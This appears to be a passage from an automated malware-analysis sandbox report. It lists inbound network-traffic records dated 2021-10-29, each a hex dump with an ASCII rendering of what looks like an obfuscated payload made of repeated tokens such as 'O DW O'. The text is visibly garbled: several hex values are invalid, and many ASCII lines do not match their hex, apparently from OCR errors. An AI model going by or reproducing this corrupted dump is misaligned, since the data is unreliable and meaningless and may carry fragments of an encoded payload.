57 20 4f 20 45 4d 20 4f 20 71 71 4d 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 45 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4§ 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4a 4a 20 4f 20 44
57 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 71 71 44 20 4f 20 44
57 20 4f 20 6d 45 20 4f 20 6d 45 20
Data Ascii: DE O Ep O DW O qOO O gOp O DW O Ep O DW O EM O ggM O DX O mE O mE O mp O DE O DW O DW
O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O gOX O DW O DW O DW O DW O DW O
DW O DD O qqM O DW O ¢JJ O DW O DE O mX O DW O DE O DW O DX O qqD O DW O mE O mE

2021-10-29 18:29:05 UTC 1075 IN Data Raw: 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 44 57 20 4f 20
44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 4f 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20
45 70 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20
44 57 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58
71 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44
4d 20 4f 20 44 57 20 4f 20 71 4f 4f 20
Data Ascii: O DW O MO O Xq © bw O bW O bw O bW O DW O bw O DW O bw O DW O DD O XW O DW O DW O
DW O DW O DW O DE © qOJ O DW O Eq O Ep O DW O EE O qOp O DW O EM O DW O XO O DW O DX O mE O mE
O mp O DW O DW O DM O Xgq O DW O MO O Xq O DD O qOM O DW O Eq O DM O DW O qOO

2021-10-29 18:29:05 UTC 1079 IN Data Raw: 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71
71 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20
71 4158 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f
20 71 4f 44 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f
20 45 4f 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f
20 71 4f 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f
20 71 71 57 20 4f 20 44 57 20 4f 20 45
Data Ascii: W O Eq O qOE O DW O MX O qOp O DD O ¢gO O DW O DD O EE O DW O XW O ggM O DD O qOX O DW
0 Eq O ggM O DW O MO O Xq O DD O qOD O DW O EJ O Xq O DW O Ep O DW O DD O EO O DW O EO O qOp O DW
0 XJ O Xq O DW O gOp O DW O DM O XM O DW O ME O Xg O DD O qgW O DW O E

2021-10-29 18:29:05 UTC 1083 IN Data Raw: 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45
4f 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71
71 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20
71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20
45 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20
6d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20
71 4f 58 20 4f 20 44 57 20 4f 204571
Data Ascii: DW O Eq O Xq O DW O Ep O DW O DD O EO O DW O EJ O qOp O DW O MM O bW O DD O qqW O DW O
Eq O WD O DW O MM O qOp O DD O qOX O DW O EJ O Ep O DW O Ep O DW O DD O EX O DW O Eq O XW O DW
O MX O qOp O DD O mM O DW O DD O XgO DW O XW O qOp O DD O qOX O DW O Eq

2021-10-29 18:29:05 UTC 1085 IN Data Raw: 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 4a 20 4
20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 4d 20
420 71 71 4d 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 44
20 4f 20 58 71 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 70 20
41 20 44 57 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 4f 20
41 20 58 71 20 4f 20 44 44 20 4f 20 57 4f 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f
20 44 57 20 4f 20 44 44 20 4f 20
Data Ascii: O DW O gOp O DW O DE O qOp O DW O XJ O gOp O DD O ggX O DW O EJ O Ep O DW O XM O qqM O D
D O gOX O DW O DE O DW O DW O XD O Xq O DD O DD O DW O DM O EE O DW O Ep O DW O DD O EO O DW O
Eq O qqM O DW O MO O Xg O DD O WO O DW O Eq O DM O DW O OO O DW O DD O

2021-10-29 18:29:05 UTC 1089 IN Data Raw: 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71
4d 20 4f 20 44 44 20 4f 20 57 70 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44
57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44
57 20 4f 20 44 44 20 4f 20 57 4f 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f
70 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71
41 70 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20
71 71 4d 20 4f 20 44 44 20 4f 20 45 44
Data Ascii: D O qOX O DW O DE O DW O DW O MM O ggM O DD O Wp O DW O EJ O EE O DW O qOO O DW O DD O
gOX O DW O Eq O mX O DW O Ep O DW O DD O WO O DW O Eq O DM O DW O MM O qOp O DD O ggJ O DW O Eq
O DM O DW O XM O qOp O DD O qqW O DW O Eq O XW O DW O MM O ggM O DD O ED

2021-10-29 18:29:05 UTC 1093 IN Data Raw: 57 20 4f 20 71 4f 4f 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 45 20 4f 20
44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f
20 45 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 44 45 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 58 20
4f 20 45 70 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 58 58 20 4f 20 44 57 20 4f 20 45 71 20 4f
20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 45 71
20 4f 20 57 44 20 4f 20 44 57 20 4f 20
Data Ascii: W O gOO O qgM O DD O qJJ O DW O DE O DW O DW O XD O qOp O DD O qqJ O DW O EJ O EE O DW O
qOO O DW O DD O qOm O DW O DE O DW O DW O XW O qqM O DD O Xq O DW O DX O Ep O DW O DE O Xq O DD
O XX O DW O Eq O qOE O DW O MX O qOp O DD O qOE O DW O Eq O WD O DW O
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:05 UTC 1097 IN Data Raw: 20 44 44 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20
44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 Ad 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f
20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 44 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 58 71 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 45 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 57 70 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 58 20 4f
20 44 57 20 4f 20 44 44 20 4f 20 71 4f
Data Ascii: DD O Eq O DW O Eq O qOE O DW O MX O DW O DD O qOX O DW O DM O qOE O DW O MX O qOp O DD
O gqOM O DW O Eq O WD O bW O bw O bw O DD O ME O DW O qOp O DW O DW O DW O Xq O bW O qgM O DW
O DX O Xq ODW O EE O DW O DW O Wp O DWODXODWODWOEXODWODDOqO

2021-10-29 18:29:05 UTC 1101 IN Data Raw: 20 45 70 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20
45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f
20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 45 6d 20 4f 20 44 57 20 4f
20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4f 20 4 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 44
Data Ascii: Ep O DW O EE O qOp O DW O DW O DW O DW O DW O DW O XJ O DW O DW O DW O DW O DW O DM
O DW O XD O qOp O DD O gOm O DW O EJ O Ep O DW O XJ O qOp O DD O qgJ O DW O Eq O qgM O DW O MO O
Xg O DD O Em O DW O Eq O WJ O DW O MO O gOp O DD O qgX O DW O DW O DW O D

2021-10-29 18:29:05 UTC 1105 IN Data Raw: 57 4f 20 4f 20 45 45 20 4f 20 71 4a 4a 20 4f 20 71 71 4a 20 4f 20 57 71 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20
57 70 20 4f 20 71 4f 45 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 71 4a 4a 20 4f 20 58 57 20 4f 20 57 4f 20
4f 20 58 44 20 4f 20 6d 58 20 4f 20 71 4f 4f 20 4f 20 45 71 20 4f 20 71 4f 58 20 4f 20 71 71 45 20 4f 20 4d 4f 20 4f 20 57 71
20 4f 20 45 45 20 4f 20 6d 70 20 4f 20 44 58 20 4f 20 58 71 20 4f 20 71 71 71 20 4f 20 71 4f 70 20 4f 20 45 70 20 4f 20 44
58 20 4f 20 71 71 4d 20 4f 20 71 71 58 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 45 58 20 4f 20 71 71 44 20 4f 20 71 4f 4f 20
4f 20 71 4f 44 20 4f 20 45 45 20 4f 20 57 6d 20 4f 20 58 4d 20 4f 20 58 58 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 4d 58
20 4f 20 45 71 20 4f 20 71 4f 58 20
Data Ascii: WO O EE O gJJ O qqJ O Wg O ME O XE O Wp O qOE O MX O Wg O gOO O gJJ O XW O WO O XD O mX
0 OO0 O EqO qOX O qgE O MO OWq O EE Omp O DX O Xg O qqgq O qOp O Ep O DX O qqM O qgX O XM O XX O
EX O gqgD O qOO O qOD O EE O Wm O XM O XX O DD O gqgM O MX O Eq O qOX

2021-10-29 18:29:05 UTC 1110 IN Data Raw: 4f 20 44 44 20 4f 20 58 4a 20 4f 20 44 4d 20 4f 20 58 4a 20 4f 20 45 6d 20 4f 20 58 6d 20 4f 20 71 4f 45 20 4f
20 71 4f 4f 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 58 57 20 4f 20 58 4a 20 4f 20 44 4d 20 4f 20 58 70 20 4f 20 58 57 20 4f
20 57 70 20 4f 20 45 4a 20 4f 20 58 45 20 4f 20 45 4f 20 4f 20 71 4f 6d 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 58 57 20 4f
20 58 4a 20 4f 20 44 4d 20 4f 20 58 70 20 4f 20 58 57 20 4f 20 57 70 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 44 4d 20 4f 20
45 4f 20 4f 20 44 4d 20 4f 20 58 4a 20 4f 20 44 4d 20 4f 20 71 4f 58 20 4f 20 45 4d 20 4f 20 58 4a 20 4f 20 6d 4d 20 4f 20
71 4f 6d 20 4f 20 58 4d 20 4f 20 58 57 20 4f 20 44 4d 20 4f 20 45 4f 20 4f 20 44 4d 20 4f 20 58 4a 20 4f 20 44 4d 20 4f 20
71 4f 58 20 4f 20 45 4d 20 4f 20 58 4a
Data Ascii: O DD O XJ O DM O XJ O Em O Xm O qOE O qOO O Xgq O Xq O XW O XJODM O Xp O XW OWp O EJ O
XEOEOOgOMO XgOXqOXWOXJODMO XpOXWOWpOEJOXWODMOEOODMO XJODMO qOXO
EMO XJO mMO gOm O XM O XW O DM O EO O DM O XJ O DM O qOX O EM O XJ

2021-10-29 18:29:05 UTC 1114 IN Data Raw: 45 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 44 4d
20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 71 71 4d 20 4f 20 44 58 20 4f 20 58 6d 20 4f 20 45 71 20 4f 20 57 45 20 4f 20 71
4f 45 20 4f 20 45 45 20 4f 20 58 4a 20 4f 20 71 71 71 20 4f 20 71 71 4d 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 58 4d 20 4f
20 44 58 20 4f 20 58 44 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 45 6d 20 4f 20 44 58 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20
44 4d 20 4f 20 58 4d 20 4f 20 58 45 20 4f 20 71 71 44 20 4f 20 71 4f 6d 20 4f 20 4d 4d 20 4f 20 71 4f 57 20 4f 20 44 57 20
4f 20 71 4a 71 20 4f 20 45 45 20 4f 20 58 70 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 58 44 20 4f 20 58 45 20 4f 20 57
70 20 4f 20 71 71 4a 20 4f 20 71 4f 4f
Data Ascii: E O DW O qgqgq O Eq O DW O mM O XW O DM O DD O qgM O qgM O DX O Xm O Eq O WE O qOE O EE O
XJ 0O qgq O qqM O Eq O DW O XM O DX O XD O Xq O XqO Em O DX O DD O EO O DM O XM O XE O qqD O gOm O
MM O qgOW O DW O qJg O EE O Xp O qgM O qOp O XD O XE O Wp O gqJ O qOO

2021-10-29 18:29:05 UTC 1117 IN Data Raw: 71 4d 20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 58 4d 20 4f 20 44 58 20 4f 20 58 44 20 4f 20 58 4a 20 4f 20 6d
58 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 45 4a 20 4f 20 6d 45 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 58 71
20 4f 20 44 58 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 71 4f 71 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71
71 4d 20 4f 20 45 71 20 4f 20 44 57 20 4f 20 6d 4d 20 4f 20 58 57 20 4f 20 71 4f 4f 20 4f 20 44 4d 20 4f 20 71 71 4d 20 4f
20 44 4d 20 4f 20 44 44 20 4f 20 6d 45 20 4f 20 71 71 4d 20 4f 20 58 71 20 4f 20 44 45 20 4f 20 45 45 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 71 71 4d 20 4f 20 44 4d 20 4f 20 71 71 4d 20 4f 20 58 4d 20 4f 20 44 58 20 4f 20 58 44 20 4f 20 58 4a 20
4f 20 6d 58 20 4f 20 71 4f 58 20 4f 20
Data Ascii: qM O DX O gOp O XM O DX O XD O XJ O mX O XO O DW O Xg O EJ O mE O DD O DW O Xg O DX O DW.
0 ¢Op O qOg O DW O EE O DW O qqM O Eq O DW O mM O XW O gOO O DM O ggM O DM O DD O mE O qqM O Xq
O DE O EE O DW O DW O qgM O DM O qgM O XM O DX O XD O XJ O mX O qOX O

2021-10-29 18:29:05 UTC 1121 IN Data Raw: 20 4f 20 57 45 20 4f 20 45 44 20 4f 20 58 4f 20 4f 20 71 4f 4d 20 4f 20 71 71 4d 20 4f 20 57 4a 20 420 71 71
71 20 4f 20 57 4f 20 4f 20 71 4a 4f 20 4f 20 44 58 20 4f 20 57 4a 20 4f 20 71 4f 45 20 4f 20 57 57 20 4f 20 71 71 4f 20 4f 2C
4d 4d 20 4f 20 6d 58 20 4f 20 71 4f 4d 20 4f 20 71 4f 45 20 4f 20 58 57 20 4f 20 58 57 20 4f 20 58 4a 20 4f 20 4d 4d 20 4f
20 71 4f 4F 20 4f 20 71 4f 70 20 4f 20 4d 4f 20 4f 20 45 4a 20 4f 20 44 45 20 4f 20 71 4f 4d 20 4f 20 45 6d 20 4f 20 58 70 20
4f 20 58 44 20 4f 20 71 71 44 20 4f 20 6d 45 20 4f 20 45 71 20 4f 20 57 57 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 57 4f
20 4f 20 58 71 20 4f 20 71 71 4d 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 58 58 20 4f 20 6d 4d 20 4f 20 45 45 20 4f 20
45 70 20 4f 20 45 70 20 4f 20 44
Data Ascii: O WE O ED O XO O gOM O gqgM O WJ O qgq O WO O qJO O DX O WJ O qOE O WW O gqgqO O MM O mX
O gqOM O qOE O XW O XW O XJ O MM O qOO O qOp O MO O EJ O DE O qOM O Em O Xp O XD O qgqD O mE O Eq
O WW O gqOp O XgO WO O XqOqgM O qOp O gOpOXXOmMMO EEOEpOEpOD

2021-10-29 18:29:05 UTC 1125 IN Data Raw: 4f 4f 20 4f 20 71 71 58 20 4f 20 45 70 20 4f 20 6d 4d 20 4f 20 58 45 20 4f 20 58 57 20 4f 20 57 44 20 4f 20 4d
58 20 4f 20 71 71 4d 20 4f 20 71 71 45 20 4f 20 71 71 4f 20 4f 20 71 4f 58 20 4f 20 58 71 20 4f 20 58 70 20 4f 20 58 70 20
4f 20 71 4a 4a 20 4f 20 57 71 20 4f 20 44 57 20 4f 20 57 57 20 4f 20 71 71 4f 20 4f 20 6d 70 20 4f 20 45 44 20 4f 20 57 4f
20 4f 20 58 57 20 4f 20 6d 4d 20 4f 20 57 44 20 4f 20 71 4f 57 20 4f 20 45 44 20 4f 20 71 71 70 20 4f 20 45 44 20 4f 20 44
57 20 4f 20 71 4f 71 20 4f 20 71 71 58 20 4f 20 58 4a 20 4f 20 71 71 44 20 4f 20 71 71 4f 20 4f 20 57 70 20 4f 20 58 4a 20
4f 20 71 4f 6d 20 4f 20 71 4a 4a 20 4f 20 4d 4d 20 4f 20 71 4f 44 20 4f 20 45 4a 20 4f 20 71 4a 4f 20 4f 20 71 4a 4f 20 4f 20
45 57 20 4f 20 58 4f 20 4f 20 58 4f
Data Ascii: OO O qgX O Ep O mM O XE O XW O WD O MX O gqgqM O ggE O qqO O qOX O Xq O Xp O Xp O gJJ O Wgq O
DW O WW O qqO O mp O ED O WO O XW O mM O WD O qOW O ED O qgp O ED O DW O gqOg O qgX O XJ O qqb O
gqqO O Wp O XJ O gOm 0 gJJ O MM O qOD O EJ O qJO O qJO O EW O XO O XO
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:05 UTC 1129 IN Data Raw: 20 4f 20 57 6d 20 4f 20 71 4f 58 20 4f 20 71 71 45 20 4f 20 45 45 20 4f 20 45 58 20 4f 20 71 71 57 20 4f 20 71
71 44 20 4f 20 4d 4d 20 4f 20 6d 45 20 4f 20 71 4f 4a 20 4f 20 58 70 20 4f 20 71 71 4f 20 4f 20 71 4f 4d 20 4f 20 45 4a 20
4f 20 58 58 20 4f 20 45 45 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 58 45 20 4f 20 45 45 20 4f 20 6d 4d 20
4f 20 57 45 20 4f 20 71 4f 44 20 4f 20 44 58 20 4f 20 58 6d 20 4f 20 71 4a 4a 20 4f 20 57 57 20 4f 20 58 57 20 4f 20 45 57
20 4f 20 44 58 20 4f 20 71 4f 70 20 4f 20 71 71 57 20 4f 20 44 4d 20 4f 20 71 4f 4a 20 4f 20 57 6d 20 4f 20 44 44 20 4f 20
45 44 20 4f 20 71 71 6d 20 4f 20 71 71 6d 20 4f 20 71 71 45 20 4f 20 71 4f 44 20 4f 20 71 71 4a 20 4f 20 71 4f 4f 20 4f 20
44 45 20 4f 20 44 4d 20 4f 20 44 57 20
Data Ascii: O Wm O gOX O qgqE O EE O EX O qqW O qgD O MM O mE O qOJ O Xp O qgO O qOM O EJ O XX O EE O
gOO O DW O Xm O XE O EE O mM O WE O qOD O DX O Xm O qJJ O WW O XW O EW O DX O qOp O qqW O DM O
q0J O Wm O DD O ED O qgm O qgm O qgE O gOD O ggJ O gOO O DE O DM O bW

2021-10-29 18:29:05 UTC 1133 IN Data Raw: 44 57 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 71 4f 70 20 4f 20 71 71 71 20 4f 20 71 71 6d 20 4f 20 44 44 20 4f
20 71 4f 70 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 45 70 20 4f 20 57 71 20 4f 20 44 57 20 4f
20 71 4f 70 20 4f 20 44 4d 20 4f 20 58 44 20 4f 20 45 45 20 4f 20 44 45 20 4f 20 57 44 20 4f 20 45 71 20 4f 20 44 45 20 4f
2058 70 20 4f 20 71 71 70 20 4f 20 45 71 20 4f 20 58 70 20 4f 20 45 70 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 44 58 20 4f
20 58 71 20 4f 20 44 4d 20 4f 20 45 6d 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 4d 20 4f 20 71 4f 57 20 4f 20 44 44 20 4f
20 44 45 20 4f 20 44 45 20 4f 20 71 71 71 20 4f 20 71 4a 4f 20 4f 20 71 4f 45 20 4f 20 71 71 45 20 4f 20 71 71 57 20 4f 20
7171 4a20 4f 20 45 45 20 4f 20 71 71
Data Ascii: DW O EE O DD O gqOp O gqg O qgm O DD O qOp O DM O DM O DW O XM O Ep O Wq O DW O gqOp O DM
OXDOEEODEOWDOEqODEOXpOqgpOEqOXpOEpOMXOWqgODXO XqODMOEmODDODXO
DM O qOW O DD O DE O DE O gqg O qJO O qOE O qqE O qqW O qqJ O EE O qq

2021-10-29 18:29:05 UTC 1137 IN Data Raw: 4f 20 58 45 20 4f 20 71 4a 4f 20 4f 20 71 4f 4d 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 45 6d 20 4f 20 71 4f 45 20
4f 20 45 45 20 4f 20 58 4a 20 4f 20 71 4f 70 20 4f 20 71 71 4d 20 4f 20 45 4f 20 4f 20 71 4f 70 20 4f 20 58 4d 20 4f 20 44
58 20 4f 20 58 44 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 45 57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 57 45 20 4f 20 58 6d
20 4f 20 4d 4f 20 4f 20 58 45 20 4f 20 45 58 20 4f 20 6d 58 20 4f 20 4d 45 20 4f 20 58 45 20 4f 20 71 4f 4f 20 4f 20 71 71
58 20 4f 20 45 70 20 4f 20 44 4d 20 4f 20 71 4a 4f 20 4f 20 71 71 4a 20 4f 20 4d 58 20 4f 20 58 45 20 4f 20 71 4f 58 20 4f
20 6d 58 20 4f 20 4d 4f 20 4f 20 58 45 20 4f 20 58 71 20 4f 20 71 4a 4f 20 4f 20 45 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 2
0 71 71 70 20 4f 20 44 44 20 4f 20
Data Ascii: O XE O qJO O gOM O MX O Wg O Em O qOE O EE O XJ O qOp O qgM O EO O qOp O XM O DX O XD O
Xg O Xq O EW O DX O DW O WE O Xm O MO O XE O EX O mX O ME O XE O OO O ggX O Ep O DM O gJO O qgJ
O MX O XE O gOX O mX O MO O XE O Xq O qJO O ED O DX O DW O gqgp O DD O

2021-10-29 18:29:05 UTC 1142 IN Data Raw: 20 58 57 20 4f 20 71 4f 4d 20 4f 20 4d 45 20 4f 20 57 57 20 4f 20 71 71 6d 20 4f 20 71 71 4d 20 4f 20 4d 58 20
4f 20 57 4f 20 4f 20 58 70 20 4f 20 58 4d 20 4f 20 71 4f 71 20 4f 20 4d 45 20 4f 20 4d 45 20 420 71 71 44 20 4f 20 71 71
58 20 4f 20 58 44 20 4f 20 71 4a 4a 20 4f 20 58 4d 20 4f 20 58 57 20 4f 20 57 4f 20 4f 20 71 71 57 20 4f 20 71 71 6d 20 4f
20 44 45 20 4f 20 71 71 44 20 4f 20 4d 4f 20 4f 20 71 4a 71 20 4f 20 71 4f 57 20 4f 20 71 71 71 20 4f 20 58 44 20 4f 20 45
71 20 4f 20 57 4a 20 4f 20 71 71 4d 20 4f 20 6d 58 20 4f 20 58 4d 20 4f 20 44 44 20 4f 20 71 71 44 20 4f 20 71 71 6d 20 4f
20 45 71 20 4f 20 71 4f 71 20 4f 20 6d 58 20 4f 20 45 4f 20 4f 20 58 45 20 4f 20 45 58 20 4f 20 71 71 4a 20 4f 20 71 71 57
20 4f 20 58 44 20 4f 20 58 4f 20 4f 20
Data Ascii: XW O qOM O ME O WW O gqgm O qgM O MX O WO O Xp O XM O qOq O ME O ME O qgD O qgX O XD O
qJJ O XM O XW O WO O gqqW O gqgm O DE O qgqD O MO O gJgq O qOW O qgqq O XD O Eq O WJ O qgM O mX O XM O
DD O qgD O qgm O Eq 0 gOg O mX O EO O XE O EX O qgqJ O qqW O XD O XO O

